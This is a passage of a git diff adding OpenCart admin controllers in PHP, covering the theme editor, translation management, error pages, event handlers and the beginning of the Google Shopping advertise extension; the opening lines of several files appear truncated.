+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/theme', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['stores'] = array();
+
+ $this->load->model('setting/store');
+
+ $results = $this->model_setting_store->getStores();
+
+ foreach ($results as $result) {
+ $data['stores'][] = array(
+ 'store_id' => $result['store_id'],
+ 'name' => $result['name']
+ );
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/theme', $data));
+ }
+
+ public function history() {
+ $this->load->language('design/theme');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $this->load->model('design/theme');
+ $this->load->model('setting/store');
+
+ $history_total = $this->model_design_theme->getTotalThemes();
+
+ $results = $this->model_design_theme->getThemes(($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $store_info = $this->model_setting_store->getStore($result['store_id']);
+
+ if ($store_info) {
+ $store = $store_info['name'];
+ } else {
+ $store = '';
+ }
+
+ $data['histories'][] = array(
+ 'store_id' => $result['store_id'],
+ 'store' => ($result['store_id'] ? $store : $this->language->get('text_default')),
+ 'route' => $result['route'],
+ 'theme' => $result['theme'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('design/theme/template', 'user_token=' . $this->session->data['user_token'], true),
+ 'delete' => $this->url->link('design/theme/delete', 'user_token=' . $this->session->data['user_token'] . '&theme_id=' . $result['theme_id'], true)
+ );
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('design/theme/history', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('design/theme_history', $data));
+ }
+
+ public function path() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/setting');
+
+ $theme = $this->model_setting_setting->getSettingValue('config_theme', $store_id);
+
+ // This is only here for compatibility with old themes.
+ if ($theme == 'theme_default') {
+ $theme = $this->model_setting_setting->getSettingValue('theme_default_directory', $store_id);
+ }
+
+ if (isset($this->request->get['path'])) {
+ $path = $this->request->get['path'];
+ } else {
+ $path = '';
+ }
+
+ if (substr(str_replace('\\', '/', realpath(DIR_CATALOG . 'view/theme/default/template/' . $path)), 0, strlen(DIR_CATALOG . 'view')) == DIR_CATALOG . 'view') {
+ $path_data = array();
+
+ // We grab the files from the default theme directory first as the custom themes drops back to the default theme if selected theme files can not be found.
+ $files = glob(rtrim(DIR_CATALOG . 'view/theme/{default,' . $theme . '}/template/' . $path, '/') . '/*', GLOB_BRACE);
+
+ if ($files) {
+ foreach($files as $file) {
+ if (!in_array(basename($file), $path_data)) {
+ if (is_dir($file)) {
+ $json['directory'][] = array(
+ 'name' => basename($file),
+ 'path' => trim($path . '/' . basename($file), '/')
+ );
+ }
+
+ if (is_file($file)) {
+ $json['file'][] = array(
+ 'name' => basename($file),
+ 'path' => trim($path . '/' . basename($file), '/')
+ );
+ }
+
+ $path_data[] = basename($file);
+ }
+ }
+ }
+ }
+
+ if (!empty($this->request->get['path'])) {
+ $json['back'] = array(
+ 'name' => $this->language->get('button_back'),
+ 'path' => urlencode(substr($path, 0, strrpos($path, '/'))),
+ );
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function template() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/setting');
+
+ $theme = $this->model_setting_setting->getSettingValue('config_theme', $store_id);
+
+ // This is only here for compatibility with old themes.
+ if ($theme == 'theme_default') {
+ $theme = $this->model_setting_setting->getSettingValue('theme_default_directory', $store_id);
+ }
+
+ if (isset($this->request->get['path'])) {
+ $path = $this->request->get['path'];
+ } else {
+ $path = '';
+ }
+
+ $this->load->model('design/theme');
+
+ $theme_info = $this->model_design_theme->getTheme($store_id, $theme, $path);
+
+ if ($theme_info) {
+ $json['code'] = html_entity_decode($theme_info['code']);
+ } elseif (is_file(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path) && (substr(str_replace('\\', '/', realpath(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path)), 0, strlen(DIR_CATALOG . 'view')) == DIR_CATALOG . 'view')) {
+ $json['code'] = file_get_contents(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path);
+ } elseif (is_file(DIR_CATALOG . 'view/theme/default/template/' . $path) && (substr(str_replace('\\', '/', realpath(DIR_CATALOG . 'view/theme/default/template/' . $path)), 0, strlen(DIR_CATALOG . 'view')) == DIR_CATALOG . 'view')) {
+ $json['code'] = file_get_contents(DIR_CATALOG . 'view/theme/default/template/' . $path);
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function save() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/setting');
+
+ $theme = $this->model_setting_setting->getSettingValue('config_theme', $store_id);
+
+ // This is only here for compatibility with old themes.
+ if ($theme == 'theme_default') {
+ $theme = $this->model_setting_setting->getSettingValue('theme_default_directory', $store_id);
+ }
+
+ if (isset($this->request->get['path'])) {
+ $path = $this->request->get['path'];
+ } else {
+ $path = '';
+ }
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'design/theme')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (substr($path, -5) != '.twig') {
+ $json['error'] = $this->language->get('error_twig');
+ }
+
+ if (!$json) {
+ $this->load->model('design/theme');
+
+ $pos = strpos($path, '.');
+
+ $this->model_design_theme->editTheme($store_id, $theme, ($pos !== false) ? substr($path, 0, $pos) : $path, $this->request->post['code']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function reset() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ $this->load->model('setting/setting');
+
+ $theme = $this->model_setting_setting->getSettingValue('config_theme', $store_id);
+
+ // This is only here for compatibility with old themes.
+ if ($theme == 'theme_default') {
+ $theme = $this->model_setting_setting->getSettingValue('theme_default_directory', $store_id);
+ }
+
+ if (isset($this->request->get['path'])) {
+ $path = $this->request->get['path'];
+ } else {
+ $path = '';
+ }
+
+ if (is_file(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path) && (substr(str_replace('\\', '/', realpath(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path)), 0, strlen(DIR_CATALOG . 'view')) == DIR_CATALOG . 'view')) {
+ $json['code'] = file_get_contents(DIR_CATALOG . 'view/theme/' . $theme . '/template/' . $path);
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function delete() {
+ $this->load->language('design/theme');
+
+ $json = array();
+
+ if (isset($this->request->get['theme_id'])) {
+ $theme_id = $this->request->get['theme_id'];
+ } else {
+ $theme_id = 0;
+ }
+
+ // Check user has permission
+ if (!$this->user->hasPermission('modify', 'design/theme')) {
+ $json['error'] = $this->language->get('error_permission');
+ }
+
+ if (!$json) {
+ $this->load->model('design/theme');
+
+ $this->model_design_theme->deleteTheme($theme_id);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/design/translation.php b/public/admin/controller/design/translation.php
new file mode 100644
index 0000000..588d28a
--- /dev/null
+++ b/public/admin/controller/design/translation.php
@@ -0,0 +1,509 @@
+load->language('design/translation');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/translation');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('design/translation');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/translation');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_translation->addTranslation($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('design/translation');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/translation');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_design_translation->editTranslation($this->request->get['translation_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('design/translation');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('design/translation');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $translation_id) {
+ $this->model_design_translation->deleteTranslation($translation_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'store';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $this->load->model('localisation/language');
+
+ $data['add'] = $this->url->link('design/translation/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('design/translation/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['translations'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $translation_total = $this->model_design_translation->getTotalTranslations();
+
+ $results = $this->model_design_translation->getTranslations($filter_data);
+
+ foreach ($results as $result) {
+ $data['translations'][] = array(
+ 'translation_id' => $result['translation_id'],
+ 'store' => ($result['store_id'] ? $result['store'] : $this->language->get('text_default')),
+ 'route' => $result['route'],
+ 'language' => $result['language'],
+ 'key' => $result['key'],
+ 'value' => $result['value'],
+ 'edit' => $this->url->link('design/translation/edit', 'user_token=' . $this->session->data['user_token'] . '&translation_id=' . $result['translation_id'], true),
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_store'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=store' . $url, true);
+ $data['sort_language'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=language' . $url, true);
+ $data['sort_route'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=route' . $url, true);
+ $data['sort_key'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=key' . $url, true);
+ $data['sort_value'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . '&sort=value' . $url, true);
+
+ $pagination = new Pagination();
+ $pagination->total = $translation_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('design/translation/history', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($translation_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($translation_total - $this->config->get('config_limit_admin'))) ? $translation_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $translation_total, ceil($translation_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/translation_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['translation_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['translation_id'])) {
+ $data['action'] = $this->url->link('design/translation/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('design/translation/edit', 'user_token=' . $this->session->data['user_token'] . '&translation_id=' . $this->request->get['translation_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('design/translation', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['translation_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $translation_info = $this->model_design_translation->getTranslation($this->request->get['translation_id']);
+ }
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = $this->model_setting_store->getStores();
+
+ if (isset($this->request->post['store_id'])) {
+ $data['store_id'] = $this->request->post['store_id'];
+ } elseif (!empty($translation_info)) {
+ $data['store_id'] = $translation_info['store_id'];
+ } else {
+ $data['store_id'] = '';
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (!empty($translation_info)) {
+ $language = $this->model_localisation_language->getLanguage($translation_info['language_id']);
+ $code = $language['code'];
+ } else {
+ $code = $this->config->get('config_language');
+ $language = $this->model_localisation_language->getLanguageByCode($code);
+ }
+
+ if (isset($this->request->post['language_id'])) {
+ $data['language_id'] = $this->request->post['language_id'];
+ } elseif (!empty($translation_info)) {
+ $data['language_id'] = $translation_info['language_id'];
+ } else {
+ $data['language_id'] = $language['language_id'];
+ }
+
+ if (empty($translation_info)) {
+ // Get a list of files ready to upload
+ $data['paths'] = array();
+
+ $path = glob(DIR_CATALOG . 'language/'.$code.'/*');
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach ((array)glob($next) as $file) {
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ if (substr($file, -4) == '.php') {
+ $data['paths'][] = substr(substr($file, strlen(DIR_CATALOG . 'language/'.$code.'/')), 0, -4);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['route'])) {
+ $data['route'] = $this->request->post['route'];
+ } elseif (!empty($translation_info)) {
+ $data['route'] = $translation_info['route'];
+ } else {
+ $data['route'] = '';
+ }
+
+ if (isset($this->request->post['key'])) {
+ $data['key'] = $this->request->post['key'];
+ } elseif (!empty($translation_info)) {
+ $data['key'] = $translation_info['key'];
+ } else {
+ $data['key'] = '';
+ }
+
+ if (!empty($translation_info)) {
+ $directory = DIR_CATALOG . 'language/';
+
+ if (is_file($directory . $code . '/' . $translation_info['route'] . '.php') && substr(str_replace('\\', '/', realpath($directory . $code . '/' . $translation_info['route'] . '.php')), 0, strlen($directory)) == str_replace('\\', '/', $directory)) {
+ $_ = array();
+
+ include($directory . $code . '/' . $translation_info['route'] . '.php');
+
+ foreach ($_ as $key => $value) {
+ if ($translation_info['key'] == $key) {
+ $data['default'] = $value;
+ }
+ }
+
+ if (empty($data['default'])) {
+ $data['default'] = $translation_info['value'];
+ }
+ }
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($translation_info)) {
+ $data['value'] = $translation_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('design/translation_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'design/translation')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['key']) < 3) || (utf8_strlen($this->request->post['key']) > 64)) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'design/translation')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function path() {
+ $this->load->language('design/translation');
+
+ $json = array();
+
+ if (isset($this->request->get['language_id'])) {
+ $language_id = $this->request->get['language_id'];
+ } else {
+ $language_id = 0;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($language_id);
+
+ if (!empty($language_info)) {
+ $path = glob(DIR_CATALOG . 'language/'.$language_info['code'].'/*');
+
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach ((array)glob($next) as $file) {
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ if (substr($file, -4) == '.php') {
+ $json[] = substr(substr($file, strlen(DIR_CATALOG . 'language/'.$language_info['code'].'/')), 0, -4);
+ }
+ }
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function translation() {
+ $this->load->language('design/translation');
+
+ $json = array();
+
+ if (isset($this->request->get['store_id'])) {
+ $store_id = $this->request->get['store_id'];
+ } else {
+ $store_id = 0;
+ }
+
+ if (isset($this->request->get['language_id'])) {
+ $language_id = $this->request->get['language_id'];
+ } else {
+ $language_id = 0;
+ }
+
+ if (isset($this->request->get['path'])) {
+ $route = $this->request->get['path'];
+ } else {
+ $route = '';
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($language_id);
+
+ $directory = DIR_CATALOG . 'language/';
+
+ if ($language_info && is_file($directory . $language_info['code'] . '/' . $route . '.php') && substr(str_replace('\\', '/', realpath($directory . $language_info['code'] . '/' . $route . '.php')), 0, strlen($directory)) == str_replace('\\', '/', $directory)) {
+ $_ = array();
+
+ include($directory . $language_info['code'] . '/' . $route . '.php');
+
+ foreach ($_ as $key => $value) {
+ $json[] = array(
+ 'key' => $key,
+ 'value' => $value
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/error/not_found.php b/public/admin/controller/error/not_found.php
new file mode 100644
index 0000000..ca16c8d
--- /dev/null
+++ b/public/admin/controller/error/not_found.php
@@ -0,0 +1,26 @@
+load->language('error/not_found');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('error/not_found', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('error/not_found', $data));
+ }
+}
diff --git a/public/admin/controller/error/permission.php b/public/admin/controller/error/permission.php
new file mode 100644
index 0000000..1d2ffd6
--- /dev/null
+++ b/public/admin/controller/error/permission.php
@@ -0,0 +1,26 @@
+load->language('error/permission');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link($this->request->get['route'], 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('error/permission', $data));
+ }
+}
diff --git a/public/admin/controller/event/language.php b/public/admin/controller/event/language.php
new file mode 100644
index 0000000..3c748b7
--- /dev/null
+++ b/public/admin/controller/event/language.php
@@ -0,0 +1,26 @@
+language->all() as $key => $value) {
+ if (!isset($args[$key])) {
+ $args[$key] = $value;
+ }
+ }
+ }
+
+ // 1. Before controller load store all current loaded language data
+ public function before(&$route, &$output) {
+ $this->language->set('backup', $this->language->all());
+ }
+
+ // 2. After contoller load restore old language data
+ public function after(&$route, &$args, &$output) {
+ $data = $this->language->get('backup');
+
+ if (is_array($data)) {
+ foreach ($data as $key => $value) {
+ $this->language->set($key, $value);
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/event/statistics.php b/public/admin/controller/event/statistics.php
new file mode 100644
index 0000000..8043118
--- /dev/null
+++ b/public/admin/controller/event/statistics.php
@@ -0,0 +1,16 @@
+load->model('setting/statistics');
+
+ $this->model_report_statistics->addValue('review', 1);
+ }
+
+ // model/sale/return/removeReturn/after
+ public function removeReturn(&$route, &$args, &$output) {
+ $this->load->model('setting/statistics');
+
+ $this->model_report_statistics->addValue('return', 1);
+ }
+}
diff --git a/public/admin/controller/event/theme.php b/public/admin/controller/event/theme.php
new file mode 100644
index 0000000..2fa65a4
--- /dev/null
+++ b/public/admin/controller/event/theme.php
@@ -0,0 +1,15 @@
+config->set('template_engine', 'twig');
+ } elseif (is_file(DIR_TEMPLATE . $route . '.tpl')) {
+ $this->config->set('template_engine', 'template');
+ }
+ }
+}
diff --git a/public/admin/controller/extension/advertise/google.php b/public/admin/controller/extension/advertise/google.php
new file mode 100644
index 0000000..1f9b668
--- /dev/null
+++ b/public/admin/controller/extension/advertise/google.php
@@ -0,0 +1,2089 @@
+store_id = isset($this->request->get['store_id']) ? (int)$this->request->get['store_id'] : 0;
+
+ $this->loadStore($this->store_id);
+
+ $this->loadLibrary($this->store_id);
+ }
+
+ public function index() {
+ $this->load->language('extension/advertise/google');
+
+ $this->load->model('extension/advertise/google');
+
+ $this->load->config('googleshopping/googleshopping');
+
+ // Fix clashes with third-party extension table names
+ $this->model_extension_advertise_google->renameTables();
+
+ // Even though this should be ran during install, there are known cases of webstores which do not trigger the install method. This is why we run createTables here explicitly.
+ $this->model_extension_advertise_google->createTables();
+
+ // Fix a missing AUTO_INCREMENT
+ $this->model_extension_advertise_google->fixColumns();
+
+ // Redirect to the preliminary check-list
+ if (!$this->setting->get('advertise_google_checklist_confirmed')) {
+ $this->response->redirect($this->url->link('extension/advertise/google/checklist', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ try {
+ // If we have not connected, navigate to connect screen
+ if (!$this->setting->has('advertise_google_access_token')) {
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (!$this->setting->has('advertise_google_gmc_account_selected')) {
+ // In case the merchant has made no decision about which GMC account to use, redirect to the form for connection
+ $this->response->redirect($this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (!$this->googleshopping->isStoreUrlClaimed()) {
+ if (empty($this->session->data['error'])) {
+ $this->session->data['error'] = $this->language->get('error_store_url_claim');
+ }
+
+ // In case the merchant has made no decision about which GMC account to use, redirect to the form for connection
+ $this->response->redirect($this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (count($this->googleshopping->getTargets($this->store_id)) == 0) {
+ $this->response->redirect($this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (!$this->setting->has('advertise_google_gmc_shipping_taxes_configured')) {
+ // In case the merchant has not set up shipping and taxes, redirect them to the form for shipping and taxes
+ $this->response->redirect($this->url->link('extension/advertise/google/shipping_taxes', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (count($this->model_extension_advertise_google->getMapping($this->store_id)) == 0) {
+ // In case the merchant has not set up mapping, redirect them to the form for mapping
+ $this->response->redirect($this->url->link('extension/advertise/google/mapping', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ // Pull the campaign reports
+ $this->googleshopping->getCampaignReports();
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateSettings()) {
+ $this->applyNewSettings($this->request->post);
+
+ try {
+ // Profilactic target push, as sometimes targets are not initialized properly
+ $this->googleshopping->pushTargets();
+ $this->googleshopping->pushCampaignStatus();
+
+ $this->session->data['success'] = $this->language->get('success_index');
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
